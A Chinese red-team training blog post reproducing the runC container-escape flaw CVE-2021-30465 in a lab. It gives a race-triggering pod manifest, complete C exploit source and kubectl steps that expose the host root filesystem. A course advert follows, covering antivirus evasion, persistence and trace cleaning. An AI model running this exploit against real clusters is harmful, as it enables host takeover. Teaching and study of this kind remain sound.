RunC漏洞导致容器逃逸(CVE-2021-30465)
文章来源|MS08067 红队攻防班
本文作者:BLACK(红队攻防班讲师)
场景介绍
runC是⼀个CLI⼯具,⽤于根据OCI规范⽣成和运⾏容器,该⼯具被⼴泛的应⽤于各种虚拟化环境中,如Kubernetes。
该漏洞是由于挂载卷时,runC不信任⽬标参数,并将使⽤ “filepath-securejoin” 库来解析任何符号链接并确保解析的⽬标在容器根⽬录中,但是如果⽤符号链接替换检查的⽬标⽂件时,可以将主机⽂件挂载到容器中。⿊客可利⽤该漏洞能将宿主机⽬录挂载到容器中,来实现容器逃逸。
漏洞详情
在容器层⾯挂载卷和挂载⽬录是不⼀样的。
挂载⽬录,对容器来说,只是简单把⽬录与容器的⽬录做映射绑定,⽽⽬录的权限还是在主机,需要⽤户⾃制维护,⼿动处理权限等问题。
卷 (Volume) 是受控存储,挂载卷后是由容器引擎进⾏管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核⼼点)
正常定义卷A之后 ,若a容器挂载了卷A,那它同时也挂载了卷A下⾯的⽬录。
当a容器起来后,恶意程序疯狂的在挂载的⽬录下刷新软连接与⽬录的关系。与此同时若b容器也像a容器⼀样挂载了相同中的卷和对应卷下⾯的⽬录。
因为卷所有权这个时候是在引擎内,并且a容器相同卷下的⽬录还在刷新软连接(相同于创建软连接)这个时间在容器引擎内部就会存在资源竞争,形成了漏洞。
环境搭建
漏洞环境准备:
# docker
./metarget cnv install cve-2021-30465
# k8s
./metarget gadget install k8s --version 1.16.5 --domestic
在宿主机的/⽬录下建⽴flag⽂件
漏洞复现
因为是利⽤竞争条件来进⾏利⽤的,有很⼤概率失败的。
步骤⼀:创建攻击Pod
sudo kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts: #容器内挂载点
- name: test1 #宿主机⽬录名
mountPath: /test1 #容器内⽬录名
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
EOC
done
)
volumes:
- name: test1 #宿主机⽬录名emptyDir: #宿主机挂载点
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
EOF
步骤⼆:编译恶意程序
保存以下代码为 race.c ⽂件并编译 gcc race.c -o race :
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0)
exit(EXIT_FAILURE);
if (mkdir(name1, 0755) < 0)
perror("mkdir failed");
if (symlink(linkdest, name2) < 0)
perror("symlink failed");
while (1)
syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
步骤三:执⾏恶意程序
将恶意程序拷⻉⾄c1容器内执⾏:
kubectl cp race -c c1 attack:/test1/
然后进去容器创建符号链接:
sudo kubectl exec -it attack -c c1 bash
ln -s / /test2/test2
进⼊/test1⽬录下执⾏程序:
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{}
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
接着更新c2-c20的容器镜像为合法镜像。新打开⼀个终端,执⾏以下命令更新镜像,⼀旦更新, pod会尝试创建容器。
for c in {2..20}; do
sudo kubectl set image pod attack c$c=ubuntu:latest
done
执⾏以下命令查看漏洞是否利⽤成功:
for c in {2..20}; do
echo ~~ Container c$c ~~
sudo kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done
若利⽤成功,会打印出/test1/zzz⽬录下的内容,也即宿主机根⽬录的内容:
参考⽂献
https://blog.champtar.fr/runc-symlink-CVE-2021-30465/
https://mp.weixin.qq.com/s/WRRjLKk_C9pq2WlvnA-NZQ
1.7号 红队攻防 第5期 最后来袭
课程费用
每期班定价2999,第五期班早鸟价:2499(前40名送499元内网知识星球名额),每个报名学员都可享受一次免费重听后续任意一期班的权益,一次没学懂就再来一遍!
培训采用在线直播+随堂录播+作业+微信群讲师解答的形式,无需等待,报名后立即进入“内网星球”开始预习。毕业推荐HW,推荐就业,有永久录播,报一期班可免费再参加后续任意一期班,内部VIP学习群永久有效。(可开发票,支付信用卡、花呗分期)
全新课程目录5.0版
第1天课 |
信息收集总体概念 被动信息收集 信息收集的总体概念以及在整个红队流程中的位置; 被动信息收集的基本结构和基本逻辑; 被动信息收集的常见手段(网络空间搜索、被动信息收集工具、传统搜索); 被动信息收集后的信息处理; 被动信息收集工具的底层原理以及如何编写; |
第2天课 |
主动信息收集 信息收集完成之后的信息综合处理 主动信息收集的基本结构和基本逻辑; 主动信息收集的常见手段(仅限扫描的nmap和扫描带有poc的goby); 主动信息收集后的信息处理; 主动信息收集工具的底层原理以及如何编写; 如何将主动信息收集和被动信息收集的信息综合处理; 收集到的信息如何衔接到下一步的红队流程中; |
第3天课 |
社会工程学 社会工程学的含义以及实际应用; 社会工程学的知识体系; 社会工程学的学习方法; |
第4天课 |
社会工程学中的交互 社会工程学中的常见钓鱼方式以及应用; 社会工程学中如何根据收集到的信息利用目标的社会属性弱点进行交互; 社会工程学中的信任获得和信任利用方式; |
第5天课 |
实战中的快速审计 寻找源码中的多种途径; 快速查找源码中可利用的脆弱点; 使用工具发现脆弱点; |
第6天课 |
POC的编写 Java类与对象的概念; Java中基础语法的学习; POC编写应具备的哪些条件; Idea工具的安装; |
第7天课 |
POC的编写 本地IO进行内容读写; 网络请求进行发包模拟; POC实战; |
第8天课 |
Windows内网提权 Potato家族提权;补丁提权;系统配置错误提权; 第三方服务提权;组策略提权;Bypassuac; 数据库提权;令牌窃取;密码收集提权; |
第9天课 |
Liunx内网提权 系统内核提权;第三方服务提权; 数据库提权;密码收集提权; 键盘记录提权;Suid提权; Sudo提权;反弹shell提权; |
第10天课 |
内网穿透 内网穿透概述及正向代理和反向代理; 花生壳内网穿透;Frp内网穿透; Ngrok内网穿透;reGeorg+Proxifier; 向日葵代理及teamviewer; 最小化渗透概述;云函数;域前置; |
第11天课 |
外网打点技巧和Kerberos认证原理 入口权限获取;java中间件Nday; php集成环境;开源程序Nday; 边界网络设备利用;基础服务getshell; kerberos认证;kerberos认证流程; |
第12天课 |
域内信息收集及域信任 域内信息收集概述; 域内用户组收集;域信任关系收集; 用户目录收集;预控日志收集; Arp信息收集;Tcpdump;Sshkey收集; 铭感配置读取;网络拓扑架构分析判断; |
第13天课 |
域渗透工具实操实战 Setspn;Nslookup;AdFind; Psloggendon;360safebrowserdecrypt; SchtaskBackDoorWebshell;regeditBypassUAC; |
第14天课 |
票据伪造、域委派攻击、域控攻击 PTH认证过程解析;票据伪造攻击原理; Mimikatz实现票据伪造攻击; 域委派原理;域委派攻击方法; zerologin;nopac |
第15天课 |
域林渗透 域林渗透概述和父域子域及域信任关系分析;大型域渗透思路; 预控定位;Pth喷射;域信任攻击; 组策略漏洞;Web及系统漏洞;逃逸漏洞; |
第16天课 |
Windows权限维持 Windows权限维持概述及隐藏技巧;关闭杀软; 注册表自启动;组策略脚本; 计划任务;服务自启动; 内存码;进程劫持;隐蔽隧道; |
第17天课 |
Liunx权限维持 Liunx权限维持概述及隐藏技巧; 添加用户;SUIDshell; SSH公私钥;软连接; crontab计划任务;Strace后门;Openssh后门; 隐蔽隧道;关杀软; |
第18天课 |
痕迹清理 Windows操作系统的痕迹清理; Windows痕迹清理的基本思路和思考逻辑; Windows清理登录痕迹、操作痕迹及时间痕迹; Linux操作系统的痕迹清理; Linux痕迹清理的基本思路和思考逻辑; Linux清理登录痕迹、操作痕迹及时间痕迹; |
第19天课 |
红队之反溯源 工作机器;攻击资源;匿名攻击; 识别反制;反溯源案例; |
第20天课 |
Meterpreter木马分析 反编译meterprter源码; 分析meterpreter源码; 源码级别免杀深入浅出; |
第21天课 |
文件的免杀 免杀中使用的编程语言及相关知识基础 程序的基本结构; c++免杀中用到的基础; python免杀中用到的基础; win32api基础; 使用c++编写最基本的socket; 使用python编写最基本的socket; |
第22天课 |
文件的免杀 免杀中使用的编程语言及相关知识基础; payload的基本结构和编程语言的实战; payload的基本结构(以MSFf和CS举例); c2的基本原理; 使用c++编写最基本的shellcode加载器; 使用python编写最基本的shellcode加载器; |
第23天课 |
文件的免杀 杀毒软件的基本原理以及绕过思路 针对火绒的静态分析的特点分析及绕过思路; 针对windowsdefender的shellcode特征码的特点分析及绕过思路; 针对360的动态分析的特点分析及绕过思路; 针对人工分析的绕过以及处理; |
第24天课
第25天课 第26天课 |
实际红队案例分享、红队攻击思路 红队模拟面试; 实际红队案例分享; 红队攻击思路; 红队靶场实战演练讲解 真实环境红蓝对抗 |
*大纲仅作为参考,会根据当期进度有所变化。
报名咨询联系小客服
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
目前50000+人已关注加入我们
RunC漏洞导致容器逃逸(CVE-2021-30465)相关推荐
- 容器 root权限运行_【漏洞通告】Containerd容器逃逸漏洞通告 (CVE202015257)
2020年12月1日,Containerd发布更新,修复了一个可造成容器逃逸的漏洞CVE-2020-15257,并公开了相关说明.通过受影响的API接口,攻击者可以利用该漏洞以root权限执行代码,实 ...
- 22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸
1 前言 Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点.由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docke ...
- runc容器逃逸漏洞最强后续:应对之策汇总与热点疑问解答
美国时间2019年2月11日晚,runc通过oss-security邮件列表披露了runc容器逃逸漏洞CVE-2019-5736的详情.runc是Docker.CRI-O.Containerd.Kub ...
- Linux 内核 cgroups 新漏洞可导致攻击者逃逸容器
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Linux 内核修复了一个高危漏洞 (CVE-2022-0492),它本可被滥用于逃逸容器,在容器主机上执行任意命令. 该缺陷存在于Linux ...
- 新近爆出的runC容器逃逸漏洞,用户如何面对?
runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI工具,目前Docker引擎内部也是基于runc构建的. 2019年2月11日,研究人员通过oss ...
- 宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...
摘要 在过去几年中,我们在各种容器平台(包括Docker.Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞.其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的.然 ...
- 一个内核网络漏洞详解|容器逃逸
CVE-2021-22555:一个影响2006年(Linux kernel v2.6.19-rc1 发布)至今(Linux kernel v5.12-rc8)的所有Linux内核版本的漏洞,可导致本地 ...
- Linux 内核漏洞可用于逃逸 Kubernetes 容器
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Linux 内核中存在漏洞 (CVE-2022-0185),可用于逃逸 Kubernetes 中的容器,从而访问位于主机系统上的资源. 安全研究 ...
- [漏洞分析] CVE-2022-0492 容器逃逸漏洞分析
CVE-2022-0492 容器逃逸分析 文章目录 CVE-2022-0492 容器逃逸分析 漏洞简介 环境搭建 漏洞原理与相关知识 漏洞发生点 cgroup 简介 cgroup 使用 release ...
最新文章
- 还在封装各种 Util 工具类?这个神级框架帮你解决所有问题!
- 续——《RedHat/Fedora等非ubuntu的Linux系统星空极速netkeeper拨号上网 》
- IE6绿色中文版,支持在Win7、Win8下完美运行
- 14-4 单任务版爬虫的架构
- 翻译: 4.2. 从零开始实现多层感知器MLP pytorch
- tinygrad ->要求python3.8以上
- 震网三代在metasploit-framework上的复现与利用
- linux计划任务失败如何排查原因
- 电脑怎么显示文件后缀名?3个步骤
- ZoomIt 屏幕放大 缩小 屏幕画笔 演示 手写笔迹 倒计时 秒变白板 pointofix
- HDU 6232 Confliction
- Hive—日期格式使用总结
- android+os+1.5,Remix OS 1.5操作系统正式上线
- IOS-Touch ID的简单使用
- 送小公主——哆啦A梦(Python代码实现)
- 消防工程师 7.2 泡沫灭火系统-选型 8.1 防排烟系统-概述
- 【蓝桥杯集训·每日一题】AcWing 3777. 砖块
- 社会实践论文关于计算机网络,计算机社会实践毕业论文题目大全 计算机社会实践专业论文题目怎样拟...
- 国内外数字源表品牌对比
- Windows系统部分软件显示乱码
热门文章
- visual studio 2019 + WinDDK 7600.16385.0编写驱动
- 下列python语句的输出结果是_下列Python语句的输出结果是 __________ 。
- 【Linux】Linux基础命令及英文全称
- 三分钟解决文档编辑难题-【文档编辑命令- cat echo vi/vim tail rmdir 】
- Jetson Nano系列教程4-生死看淡,不服就干之I2C
- 何沐妮成为FILA高尔夫形象大使
- 什么是“荷花定律”?
- 获取qq音乐外链方法+源码
- 【华人学者风采】徐泽水 四川大学
- nvme固态必须uefi启动吗_加装了M.2固态无法安装WIN7系统?